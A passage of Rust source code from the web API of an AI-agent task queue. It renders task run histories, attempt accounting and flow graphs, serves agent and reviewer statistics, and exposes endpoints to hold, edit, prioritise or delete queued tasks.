let view = pass.map(|p| PassView::of(p, settled));
let recorded_end = view
.as_ref()
.filter(|v| matches!(v.end, "parked" | "unrecorded"));
let cost_words = match view.as_ref().and_then(|v| v.cost) {
Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
None => "whether its attempt was handed back was not recorded",
};
let pass_note = if passes_of_run > 1 {
format!(
" This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
)
} else {
String::new()
};
let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
let cause = match v.end {
"parked" => format!("It was stopped on purpose: {}.", v.label),
_ => format!("It {}.", v.label),
};
format!(
" {cause} {}; pass #{k} resumed the same run.{pass_note}",
capitalise(cost_words)
)
} else if let Some(k) = resumed_later {
let cause = if s.quota.is_empty() {
"the cause was not recorded: a park, a crash or a restart all look the same from here"
} else {
"the run has recorded an agent rate limit, which may or may not be why this pass stopped"
};
format!(
" This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
)
} else if s.parked {
match recorded_end.and_then(|v| v.cause.as_ref()) {
Some(cause) => format!(
" Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
cause.label(),
cost_words
),
None => " Parked at a node boundary; the attempt was handed back and the run resumes."
.to_owned(),
}
} else if status == RunStatus::Blocked && s.resource_block.is_some() {
" The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
} else if !status.done()
|| matches!(
status,
RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
)
{
String::new()
} else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
|| matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
{
" An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
.to_owned()
} else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
" It left a pull request open, so the task was held for a person rather than retried."
.to_owned()
} else if matches!(status, RunStatus::VerifiedNoop) {
" Held for a person to check the claim.".to_owned()
} else if last {
" It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
} else {
" It spent an attempt, and the task moved on to the next run.".to_owned()
};
let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
let mut attempt = exit.cost();
let mut exit_label = None;
if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
let spent = match v.cost {
Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
Some(crate::queue::PassCost::Spent) => ", attempt counted",
None if resumed_later.is_some() => ", refund not recorded",
None => ", attempt refunded",
};
attempt = match v.cost {
Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
None if resumed_later.is_some() => AttemptCost::Unknown,
None => attempt,
};
if v.end == "parked" {
exit = RunExit::Parked;
exit_label = Some(match v.cause.as_ref() {
Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
format!("parked for {}{spent}", c.label())
}
Some(c) => format!("parked ({}){spent}", c.label()),
None => format!("parked{spent}"),
});
} else {
exit_label = Some(format!("stopped without a recorded cause{spent}"));
}
}
let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
TaskRunView {
activity: None,
n,
id: id.to_owned(),
short,
kind,
status: Some(status.as_str()),
readable: true,
provisional,
description,
outcome: format!("{head}{why}"),
created_at: Some(s.created_at),
pr: s.pr.as_ref().map(|p| p.url.clone()),
exit,
attempt,
exit_label,
later_pass: resumed_later,
pass_n,
passes_of_run,
pass: view,
branch: branch.map(str::to_owned),
badge: None,
}
}
fn capitalise(s: &str) -> String {
let mut c = s.chars();
c.next().map_or_else(String::new, |f| {
f.to_uppercase().collect::<String>() + c.as_str()
})
}
#[derive(Debug, Serialize, PartialEq)]
struct FlowNode {
key: String,
kind: &'static str,
label: String,
status: Option<&'static str>,
status_of: &'static str,
note: Option<&'static str>,
run_kind: Option<&'static str>,
detail: Option<String>,
decided: bool,
readable: bool,
href: Option<String>,
badge: Option<String>,
started_at: Option<Timestamp>,
time_expected: bool,
}
#[derive(Debug, Serialize, PartialEq)]
struct FlowEdge {
from: String,
to: String,
label: String,
attempt: AttemptCost,
}
#[derive(Debug, Serialize, PartialEq)]
struct FlowView {
nodes: Vec<FlowNode>,
edges: Vec<FlowEdge>,
attempts: usize,
max_attempts: usize,
passes: usize,
runs: usize,
}
fn task_flow(
task: &Task,
history: &[TaskRunView],
max_attempts: usize,
origin: Option<&FollowUpOrigin>,
) -> FlowView {
let max_attempts = task.effective_attempt_limit(max_attempts);
let node = |key: &str, kind, label: String| FlowNode {
key: key.to_owned(),
kind,
label,
status: None,
status_of: "run",
note: None,
run_kind: None,
detail: None,
decided: false,
readable: true,
href: None,
badge: None,
started_at: None,
time_expected: matches!(kind, "start" | "run" | "end"),
};
let mut nodes = Vec::new();
let mut edges: Vec<FlowEdge> = Vec::new();
if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
let mut n = node(
"chat",
"chat",
format!("Chat {}", crate::queue::short(&link.id)),
);
n.href = Some(link.href);
nodes.push(n);
edges.push(FlowEdge {
from: "chat".to_owned(),
to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
label: "queued from chat".to_owned(),
attempt: AttemptCost::None,
});
}
if let Some(o) = origin {
let mut n = match &o.parent {
Some(p) => {
let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
n.status = Some(p.status);
n.status_of = "task";
n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
n.href = Some(p.href.clone());
n
}
None => {
let mut n = node(
"origin",
"followup",
format!("Follow-up of run {}", o.run.short),
);
n.detail = Some("merged run".to_owned());
n.status = o.run.status;
n.href = o.run.href.clone();
if o.run.href.is_none() {
n.readable = false;
n.note = Some("unreadable");
}
n
}
};
n.decided = true;
let from = n.key.clone();
nodes.push(n);
let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
let more = o.findings.len().saturating_sub(shown.len());
let label = match (shown.is_empty(), more) {
(true, _) => "open findings".to_owned(),
(false, 0) => format!("open findings {}", shown.join(", ")),
(false, m) => format!("open findings {} +{m} more", shown.join(", ")),
};
edges.push(FlowEdge {
from,
to: "start".to_owned(),
label,
attempt: AttemptCost::None,
});
}
let mut start = node("start", "start", "Task queued".to_owned());
start.started_at = Some(task.created_at);
nodes.push(start);
let mut prev = "start".to_owned();
let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
for (i, h) in history.iter().enumerate() {
let key = format!("run-{}", h.n);
let mut n = node(&key, "run", format!("Run {}", h.short));
n.started_at = h
.readable
.then(|| {
h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
h.created_at
} else {
None
})
})
.flatten();
n.run_kind = Some(h.kind);
n.readable = h.readable;
n.href = Some(format!("#/runs/{}", h.id));
n.decided = h.readable && !h.provisional;
n.detail = h
.branch
.as_ref()
.map(|b| format!("review-only run of branch {b}"));
match h.exit {
RunExit::Unreadable => n.note = Some("unreadable"),
RunExit::Interrupted => n.note = Some("interrupted"),
RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
_ => {
n.status = h.status;
n.badge = h.badge.clone();
if h.provisional {
n.note = Some("no verdict");
}
}
}
let into = match h.kind {
"review" => Some(format!(
"review-only run of branch {}",
h.branch.as_deref().unwrap_or("?")
)),
"resume" => Some("resume the same run".to_owned()),
_ if i > 0 => Some("retry".to_owned()),
_ => None,
};
let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
let label = match (prev_exit, into) {
(Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
(Some((_, l, _)), None) => l,
(None, Some(i)) => i,
(None, None) => "claimed".to_owned(),
};
edges.push(FlowEdge {
from: prev.clone(),
to: key.clone(),
label,
attempt,
});
prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
prev = key;
nodes.push(n);
}
let mut end = node("end", "end", task.status.as_str().to_owned());
end.status = Some(task.status.as_str());
end.status_of = "task";
if task.status == TaskStatus::Held {
end.started_at = task.held_at;
}
nodes.push(end);
let (label, attempt) = match prev_exit {
None => (
format!("no run yet \u{2192} {}", task.status.as_str()),
AttemptCost::None,
),
Some((e, l, cost)) if e.explains(task.status) => {
(format!("{l} \u{2192} {}", task.status.as_str()), cost)
}
Some((_, _, cost)) => (
format!("closed by hand: task is {}", task.status.as_str()),
cost,
),
};
edges.push(FlowEdge {
from: prev,
to: "end".to_owned(),
label,
attempt,
});
FlowView {
nodes,
edges,
attempts: task.attempts,
max_attempts,
passes: history.len(),
runs: distinct_runs(&task.runs),
}
}
fn distinct_runs(runs: &[String]) -> usize {
let mut seen: Vec<&str> = Vec::new();
for r in runs {
if !seen.contains(&r.as_str()) {
seen.push(r);
}
}
seen.len()
}
fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
let mut slots = Vec::new();
let mut seen = Vec::new();
for run_id in &task.runs {
if seen.contains(&run_id) {
continue;
}
seen.push(run_id);
let state = read(run_id);
let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
s.passes
.iter()
.filter(|p| {
p.task_entry
|| task
.passes
.iter()
.any(|t| t.run == *run_id && t.pass_index == p.index)
})
.cloned()
.collect()
});
let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
let total = legacy_count.max(mine.len());
let offset = total - mine.len();
for k in 0..total {
let position = task
.runs
.iter()
.enumerate()
.filter(|(_, r)| *r == run_id)
.nth(k.min(legacy_count - 1))
.unwrap()
.0;
slots.push((
run_id,
state.clone(),
k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
position,
));
}
}
if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
slots.sort_by_key(|(_, state, pass, _)| {
pass.as_ref()
.map(|p| p.started_at)
.or_else(|| state.as_ref().map(|s| s.created_at))
.map_or((true, task.created_at), |at| (false, at))
});
} else {
slots.sort_by_key(|(_, _, _, position)| *position);
}
let mut history = Vec::with_capacity(slots.len());
let mut seen: Vec<&str> = Vec::new();
let mut prior: Option<(&str, RunStatus)> = None;
for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
let resumed = k > 0;
seen.push(run_id);
let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
let pass = pass.as_ref();
let settled = pass.and_then(|p| {
task.passes
.iter()
.find(|t| t.run == **run_id && t.pass_index == p.index)
});
history.push(task_run_view(
run_id,
state.as_ref(),
RunSlot {
n: i + 1,
resumed,
resumed_later: slots[i + 1..]
.iter()
.position(|(id, _, _, _)| id == run_id)
.map(|off| i + off + 2),
prior,
last: i + 1 == slots.len(),
pass,
settled,
pass_n: k + 1,
passes_of_run: total,
},
task,
));
if let Some(s) = &state {
prior = Some((run::short_of(run_id), s.status));
}
}
history
}
fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
if history.iter().all(|h| h.exit == RunExit::Interrupted) {
return;
}
let (_, claimed, _) = run_row_inputs(ui);
let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
for h in history
.iter_mut()
.filter(|h| h.readable && h.exit != RunExit::Interrupted)
{
let Ok(state) = read_run(&ui.runs, &h.id) else {
continue;
};
if state.status.done() {
continue;
}
let live = state.liveness_with(
claimed.contains(&h.id),
|p| probe.borrow_mut().status(p),
|p| probe.borrow_mut().started_at(p),
);
let waiting = !ui.questions.open_for(&h.id).is_empty();
h.activity = Some(crate::run_progress::activity(&state, live, waiting));
let display = run_display_status(&state, waiting, live);
let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
if matches!(word.as_str(), "stale" | "superseded")
|| (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
{
h.badge = Some(word);
}
}
}
async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
blocking(move || {
let id = resolve_task(&ui.queue, &id)?;
Ok(Json(TaskView::from(ui.queue.get(&id)?)))
})
.await
}
async fn task_detail(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<TaskDetailView>> {
blocking(move || {
let id = resolve_task(&ui.queue, &id)?;
let task = ui
.queue
.get(&id)
.map_err(|e| ApiError::not_found(format!("{e:#}")))?;
let inv = if task.status == TaskStatus::Blocked {
Some(crate::blockers::Inventory::load_for(
&ui.queue,
&ui.questions,
&task,
))
} else {
None
};
let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
mark_badges(&ui, &task, &mut history);
let runs_unreadable = history.iter().filter(|h| !h.readable).count();
let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
let origin = task.followup.as_ref().map(|fu| {
followup_origin(
fu,
|tid| ui.queue.get(tid).ok(),
|rid| read_run(&ui.runs, rid).ok(),
)
});
let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
let task_view = match inv.as_ref() {
Some(inv) => TaskView::with_inventory(task, inv),
None => TaskView::from(task),
}
.with_recovery_decisions(&ui.questions);
Ok(Json(TaskDetailView {
max_attempts,
flow,
followup_origin: origin,
passes_total: history.len(),
runs_distinct: distinct_runs(&task_view.task.runs),
history,
runs_unreadable,
attempts_note: ATTEMPTS_NOTE,
task: task_view,
}))
})
.await
}
#[derive(Debug, Serialize)]
struct RateView {
pct: f64,
denominator: usize,
}
impl RateView {
fn of(numerator: usize, denominator: usize) -> Option<Self> {
(denominator > 0).then(|| Self {
pct: 100.0 * numerator as f64 / denominator as f64,
denominator,
})
}
}
#[derive(Debug, Serialize)]
struct StatsTotalsView {
runs: usize,
merged: usize,
ready: usize,
blocked: usize,
failed: usize,
stalled: usize,
verified_noop: usize,
superseded: usize,
in_progress: usize,
completion_rate: Option<RateView>,
tallied: usize,
split: usize,
split_rate: Option<RateView>,
deliberated: usize,
minds_changed: usize,
converged: usize,
review_rounds: usize,
}
impl From<&stats::Totals> for StatsTotalsView {
fn from(t: &stats::Totals) -> Self {
Self {
runs: t.runs,
merged: t.merged,
ready: t.ready,
blocked: t.blocked,
failed: t.failed,
stalled: t.stalled,
verified_noop: t.verified_noop,
superseded: t.superseded,
in_progress: t.in_progress,
completion_rate: RateView::of(t.merged + t.ready, t.runs),
tallied: t.tallied,
split: t.split,
split_rate: RateView::of(t.split, t.tallied),
deliberated: t.deliberated,
minds_changed: t.minds_changed,
converged: t.converged,
review_rounds: t.review_rounds,
}
}
}
#[derive(Debug, Serialize)]
struct AgentStatsView {
agent: String,
entered: usize,
wins: usize,
empty: usize,
win_rate: Option<RateView>,
competitive_entered: usize,
competitive_wins: usize,
competitive_win_rate: Option<RateView>,
solo_entered: usize,
solo_adopted: usize,
solo_adoption_rate: Option<RateView>,
}
impl From<&stats::AgentStats> for AgentStatsView {
fn from(a: &stats::AgentStats) -> Self {
Self {
agent: a.agent.clone(),
entered: a.entered,
wins: a.wins,
empty: a.empty,
win_rate: RateView::of(a.wins, a.entered),
competitive_entered: a.competitive_entered,
competitive_wins: a.competitive_wins,
competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
solo_entered: a.solo_entered,
solo_adopted: a.solo_adopted,
solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
}
}
}
#[derive(Debug, Serialize)]
struct ReviewerStatsView {
agent: String,
rounds: usize,
seated: usize,
submitted: usize,
adopted: usize,
unique: usize,
timeouts: usize,
adopted_per_round: Option<f64>,
precision: Option<RateView>,
unique_rate: Option<RateView>,
timeout_rate: Option<RateView>,
}
impl From<&stats::ReviewerStats> for ReviewerStatsView {
fn from(r: &stats::ReviewerStats) -> Self {
Self {
agent: r.agent.clone(),
rounds: r.rounds,
seated: r.seated,
submitted: r.submitted,
adopted: r.adopted,
unique: r.unique,
timeouts: r.timeouts,
adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
precision: RateView::of(r.adopted, r.submitted),
unique_rate: RateView::of(r.unique, r.submitted),
timeout_rate: RateView::of(r.timeouts, r.seated),
}
}
}
#[derive(Debug, Serialize)]
struct AdvisorStatsView {
agent: String,
seated: usize,
proposed: usize,
absent: usize,
faint: usize,
strong: usize,
reflection_rate: Option<RateView>,
}
impl From<&stats::AdvisorStats> for AdvisorStatsView {
fn from(a: &stats::AdvisorStats) -> Self {
Self {
agent: a.agent.clone(),
seated: a.seated,
proposed: a.proposed,
absent: a.absent,
faint: a.faint,
strong: a.strong,
reflection_rate: RateView::of(a.strong, a.proposed),
}
}
}
#[derive(Debug, Serialize)]
struct E2eStatsView {
rounds: usize,
failures: usize,
sole_detections: usize,
deferred: usize,
sole_rate: Option<RateView>,
}
impl From<&stats::E2eStats> for E2eStatsView {
fn from(e: &stats::E2eStats) -> Self {
Self {
rounds: e.rounds,
failures: e.failures,
sole_detections: e.sole_detections,
deferred: e.deferred,
sole_rate: RateView::of(e.sole_detections, e.failures),
}
}
}
#[derive(Debug, Serialize)]
struct ReleaseBumpStatsView {
merged: usize,
recorded: usize,
pr_opened: usize,
automerge_enabled: usize,
merged_directly: usize,
needs_attention: usize,
clean: usize,
coverage_rate: Option<RateView>,
automerge_rate: Option<RateView>,
attention_rate: Option<RateView>,
}
impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
fn from(b: &stats::ReleaseBumpStats) -> Self {
Self {
merged: b.merged,
recorded: b.recorded,
pr_opened: b.pr_opened,
automerge_enabled: b.automerge_enabled,
merged_directly: b.merged_directly,
needs_attention: b.needs_attention,
clean: b.clean(),
coverage_rate: RateView::of(b.recorded, b.merged),
automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
attention_rate: RateView::of(b.needs_attention, b.recorded),
}
}
}
#[derive(Debug, Serialize)]
struct TaskCountsView {
queued: usize,
running: usize,
done: usize,
failed: usize,
held: usize,
blocked: usize,
parked: usize,
}
impl From<crate::queue::TaskCounts> for TaskCountsView {
fn from(c: crate::queue::TaskCounts) -> Self {
Self {
queued: c.queued,
running: c.running,
done: c.done,
failed: c.failed,
held: c.held,
blocked: c.blocked,
parked: c.parked,
}
}
}
#[derive(Debug, Serialize)]
struct RepoSummaryView {
repo: String,
name: String,
runs: usize,
completion_rate: Option<RateView>,
}
impl From<&stats::RepoStats> for RepoSummaryView {
fn from(r: &stats::RepoStats) -> Self {
let t = &r.stats.totals;
Self {
repo: r.repo.to_string_lossy().into_owned(),
name: r.name.clone(),
runs: t.runs,
completion_rate: RateView::of(t.merged + t.ready, t.runs),
}
}
}
#[derive(Debug, Serialize)]
struct StatsView {
totals: StatsTotalsView,
agents: Vec<AgentStatsView>,
reviewers: Vec<ReviewerStatsView>,
advisors: Vec<AdvisorStatsView>,
e2e: E2eStatsView,
release_bumps: ReleaseBumpStatsView,
queue: Option<TaskCountsView>,
runs_unreadable: usize,
repos: Vec<RepoSummaryView>,
daily: Vec<DailyStatsView>,
repo: Option<String>,
retired_hidden: Vec<String>,
}
#[derive(Debug, Serialize)]
struct DailyStatsView {
date: String,
runs: usize,
merged: usize,
ready: usize,
other: usize,
completion_rate: Option<RateView>,
}
impl From<&stats::DayBucket> for DailyStatsView {
fn from(b: &stats::DayBucket) -> Self {
Self {
date: b.date.to_string(),
runs: b.runs,
merged: b.merged,
ready: b.ready,
other: b.other,
completion_rate: RateView::of(b.merged + b.ready, b.runs),
}
}
}
const STATS_DAILY_DAYS: usize = 30;
#[derive(Debug, Default, Deserialize)]
#[serde(default)]
struct StatsQuery {
repo: Option<String>,
all: bool,
runs_only: bool,
}
async fn stats_get(
State(ui): State<Arc<Ui>>,
Query(q): Query<StatsQuery>,
) -> ApiResult<Json<StatsView>> {
blocking(move || {
let states: Vec<RunState> = run_ids(&ui.runs)
.into_iter()
.filter_map(|id| read_run(&ui.runs, &id).ok())
.collect();
let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
.iter()
.map(RepoSummaryView::from)
.collect();
let mut scoped: Vec<&RunState> = states.iter().collect();
let mut collected = match &q.repo {
Some(repo) => {
let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
if filtered.is_empty() {
return Err(ApiError::not_found(format!(
"no runs recorded against repo `{repo}`"
)));
}
scoped = filtered.clone();
stats::collect_refs(filtered)
}
None => stats::collect(&states),
};
if !q.all {
let repo = q
.repo
.as_deref()
.map_or_else(|| ui.repo.clone(), PathBuf::from);
stats::retain_current_roster(&mut collected, &repo);
}
let daily = stats::daily(
scoped,
jiff::Zoned::now().date(),
&jiff::tz::TimeZone::system(),
STATS_DAILY_DAYS,
);
let queue_counts = (!q.runs_only)
.then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
Ok(Json(StatsView {
totals: StatsTotalsView::from(&collected.totals),
agents: collected.agents.iter().map(AgentStatsView::from).collect(),
reviewers: collected
.reviewers
.iter()
.map(ReviewerStatsView::from)
.collect(),
advisors: collected
.advisors
.iter()
.map(AdvisorStatsView::from)
.collect(),
e2e: E2eStatsView::from(&collected.e2e),
release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
queue: queue_counts,
runs_unreadable: runs_unreadable(&ui.runs),
repos,
daily: daily.iter().map(DailyStatsView::from).collect(),
repo: q.repo.clone(),
retired_hidden: collected.retired_hidden.clone(),
}))
})
.await
}
#[derive(Debug, Default, Deserialize)]
#[serde(default, deny_unknown_fields)]
struct HoldBody {
reason: Option<String>,
}
async fn queue_hold(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<HoldBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
let body = match body {
Ok(Json(body)) => body,
Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
Err(e) => return Err(ApiError::bad_request(e.body_text())),
};
let reason = body.reason.filter(|r| !r.trim().is_empty());
mutate(ui, id, move |t| {
t.hold_manual(reason.clone());
Ok(())
})
.await
}
async fn queue_release(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<TaskView>> {
mutate(ui, id, |t| {
t.release_operator("web", None);
Ok(())
})
.await
}
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct AttemptLimitBody {
attempt_limit: serde_json::Value,
}
async fn queue_attempt_limit(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
.map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
}
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct ImplementersBody {
implementers: u8,
}
async fn queue_implementers(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
}
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct UrgentBody {
urgent: bool,
}
async fn queue_urgent(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<UrgentBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
}
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct PriorityBody {
priority: i32,
}
async fn queue_priority(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<PriorityBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
mutate(ui, id, move |t| t.set_priority(body.priority)).await
}
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct EditBody {
title: String,
instruction: String,
#[serde(default)]
force: bool,
}
async fn queue_edit(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<EditBody>, JsonRejection>,
) -> ApiResult<Json<TaskView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
let mut judged: Option<(String, PathBuf)> = None;
if !body.force {
let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
let (id, text) = (id.clone(), body.instruction.clone());
let (seen, hits) = blocking(move || {
let id = resolve_task(&queue, &id)?;
let t = queue.get(&id)?;
if text == t.instruction {
return Ok((None, Vec::new()));
}
let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
Ok((Some((t.instruction, t.repo)), hits))
})
.await?;
if let Some((_, repo)) = &seen {
let cfg = crate::config::Config::discover(repo, None)
.ok()
.map(|(c, _)| c);
let screened =
crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
.await
.map_err(|dup| {
ApiError::conflict(dup.render(
"Nothing was saved. If it is not a duplicate, repeat the request \
with \"force\": true.",
))
})?;
if let crate::dupes::Screened::Unjudged(why) = screened {
tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
}
}
judged = seen;
}
let force = body.force;
mutate(ui, id, move |t| {
if !force && body.instruction != t.instruction {
match &judged {
Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
_ => {
anyhow::bail!("the task changed while it was being checked; repeat the request")
}
}
}
t.edit(body.title.clone(), body.instruction.clone())
})
.await
}
async fn queue_done(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<TaskView>> {
let home = ui.home.clone();
mutate(ui, id, move |t| {
t.succeed();
crate::daemon::supersede_prior_runs(t, &home);
Ok(())
})
.await
}
async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
blocking(move || {
let id = resolve_task(&ui.queue, &id)?;
let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
ui.queue
.remove(&id, in_flight, &ui.questions)
.map_err(|e| ApiError::conflict(format!("{e:#}")))?;
Ok(StatusCode::NO_CONTENT)
})
.await
}
async fn mutate(
ui: Arc<Ui>,
id: String,
change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
) -> ApiResult<Json<TaskView>> {
blocking(move || {
let id = resolve_task(&ui.queue, &id)?;
let _claim = ui.queue.claim(&id).map_err(|e| {
ApiError::conflict(format!(
"{e:#} - a daemon is running this task, so it cannot be \
changed from here yet; wait until it is released, then retry"
))
})?;
let mut task = ui.queue.get(&id)?;
change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
Ok(dup) => ApiError::conflict(dup.render(
"Nothing was saved. If it is not a duplicate, repeat the request with \
\"force\": true.",
)),
Err(e) => ApiError::bad_request_from(e),
})?;
ui.queue.put(&mut task)?;
Ok(Json(TaskView::from(task)))
})
.await
}
async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
ui.monitor.ensure_worker(&ui);
let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
let state = Arc::clone(&ui);
tokio::spawn(async move {
let initial_revisions = {
let guard = match state.monitor.latest.lock() {
Ok(g) => g,
Err(p) => p.into_inner(),
};
guard.as_ref().map(|(r, _)| *r)
};
if let Some(revisions) = initial_revisions {
let initial_payload = serde_json::json!({
"queue_rev": revisions.0,
"runs_rev": revisions.1,
"questions_rev": revisions.2,
"talks_rev": revisions.3,
"notifications_rev": revisions.4,
"loop_rev": revisions.5,
});
if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
if tx.send(event).await.is_err() {
return;
}
}
}
loop {
match tokio::select! {
_ = tx.closed() => return,
value = broadcast_rx.recv() => value,
} {
Ok(notif) => {
let Ok(event) = Event::default().event("change").json_data(notif.payload)
else {
break;
};
if tx.send(event).await.is_err() {
break;
}
}
Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
let revs = {
let guard = match state.monitor.latest.lock() {
Ok(g) => g,
Err(p) => p.into_inner(),
};
guard.as_ref().map(|(r, _)| *r)
};
if let Some(revs) = revs {
let payload = serde_json::json!({
"queue_rev": revs.0,
"runs_rev": revs.1,
"questions_rev": revs.2,
"talks_rev": revs.3,
"notifications_rev": revs.4,
"loop_rev": revs.5,
});
if let Ok(event) = Event::default().event("change").json_data(payload) {
if tx.send(event).await.is_err() {
break;
}
}
}
}
Err(tokio::sync::broadcast::error::RecvError::Closed) => {
break;
}
}
}
});
Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
.keep_alive(KeepAlive::new().interval(KEEPALIVE))
}
fn run_ids(runs: &FsPath) -> Vec<String> {
let mut ids: Vec<String> = std::fs::read_dir(runs)
.into_iter()
.flatten()
.flatten()
.filter(|e| e.path().join("run.json").is_file())
.map(|e| e.file_name().to_string_lossy().into_owned())
.collect();
ids.sort_unstable_by(|a, b| b.cmp(a));
ids
}
fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
let path = runs.join(id).join("run.json");
let body =
std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
let state: RunState =
serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
run::migrate_schema(state)
}
#[must_use]
pub fn runs_unreadable(runs: &FsPath) -> usize {
run_ids(runs)
.into_iter()
.filter(|id| read_run(runs, id).is_err())
.count()
}
fn plain_record_id(id: &str) -> bool {
!id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
}
fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
